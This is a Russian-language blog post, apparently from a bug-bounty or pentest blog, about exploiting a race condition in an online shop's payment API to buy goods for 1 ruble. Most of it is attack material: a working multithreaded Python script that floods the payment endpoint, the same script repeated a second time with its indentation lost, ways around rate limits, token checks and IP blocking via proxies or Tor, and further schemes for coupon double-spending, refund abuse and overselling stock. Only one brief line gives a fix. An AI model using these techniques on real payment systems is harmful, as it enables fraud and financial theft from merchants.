Главная страница » Блог » Race Condition на оплате: как купить Ferrari за 1 рубль

Race Condition на оплате: как купить Ferrari за 1 рубль

Mikhail Tarasov
27 мая, 2025

Что вижу:
Эндпоинт /api/payment/process принимает amount и orderId. Запросы обрабатываются асинхронно, и баланс обновляется с задержкой. Пахнет Race Condition, как потный спринт на DefCon за последним стикером.

Как поймал:
— Инструмент: Burp Intruder + самописный скрипт на Python с threading.
— Метод: Отправил 50 параллельных запросов на оплату с amount=1, пока баланс не успел обновиться.

Чем пахнет:
— Класс: Race Condition → двойное списание/обнуление баланса.
— Вероятность: 7.5/10. Платёжные системы часто жертвуют транзакционной целостностью ради скорости.

Че почем

Эксплойт:
Скрипт для атаки (Python + requests с многопоточкой):

import requests
import threading

target = "https://shop.target.com/api/payment/process"
data = {"orderId": "12345", "amount": 1}
headers = {"Authorization": "Bearer your_token_here"}

def send_payment():
    for _ in range(50):
        resp = requests.post(target, json=data, headers=headers)
        print(f"Status: {resp.status_code}, Response: {resp.text}")

threads = [threading.Thread(target=send_payment) for _ in range(10)]
for t in threads:
    t.start()
for t in threads:
    t.join()

import requests

import threading

target = "https://shop.target.com/api/payment/process"

data = {"orderId": "12345", "amount": 1}

headers = {"Authorization": "Bearer your_token_here"}

def send_payment():

for _ in range(50):

resp = requests.post(target, json=data, headers=headers)

print(f"Status: {resp.status_code}, Response: {resp.text}")

threads = [threading.Thread(target=send_payment) for _ in range(10)]

for t in threads:

t.start()

for t in threads:

t.join()

Итог: Заказ на 50к рублей проходит 50 раз, а баланс уменьшается только на 1 рубль из-за гонки.

Обход защиты:
— Если сервер ограничивает rate: Используй разные orderId с шагом +1 (генерируй через UUID).
— Если есть токен проверки: Перехватывай его через другой эндпоинт (/api/payment/init) и подставляй.
— Если защита по IP: Ротейт через прокси или Tor (proxychains python exploit.py).

Доказательство:
Скриншот баланса: Initial: 100 RUB -> Final: 99 RUB, но заказов на 50k RUB * 50. «Видишь кучу заказов? Это не баг в матрице — это твой новый шопинг-лист».

Советы:

3 вектора для добивания:

Double Spend на скидках: Создай заказ → примени купон → отправь 100 оплат одновременно, пока скидка не сбросилась.
Refund Abuse: Если есть /api/refund, делай параллельные запросы на возврат + оплату → сервер путается, возвращает больше.
Inventory Exploit: На товарах с ограниченным количеством (1 шт.) делай 10 заказов одновременно → получай 10 единиц.

План атаки:

Анализируешь тайминги через /api/payment/status — ищешь задержки между запросом и обновлением базы.
Пишешь PoC с параллельными запросами через Burp Intruder или Python threading.
Спамишь запросы на минимальную сумму (amount=0.01), пока баланс не обновился.
Если успех — масштабируй до крупных покупок или скидок, сливай бабки на баг-баунти репорты.

Если в хедерах X-Powered-By: PaymentProcessor 3.1:
— Гугли форумы на предмет известных багов в асинхронных транзакциях (типа старых версий Stripe SDK).
— Эксплойт: Проверь, не кэшируется ли orderId на стороне сервера — повторяй старые заказы с новым amount=0.

Мемная аналитика:
«Race Condition на оплате — как бежать за автобусом: если успеешь в окно между дверьми, проезд бесплатный».

Итог:
— Уязвимость: Отсутствие блокировки/транзакционной изоляции в платёжных системах.
— Фикс: Использовать SELECT FOR UPDATE в базе или Redis-локи на время транзакции.
— Но пока девы думают, что ‘асинхронность = скорость’, покупай себе яхту за их счёт на баг-баунти.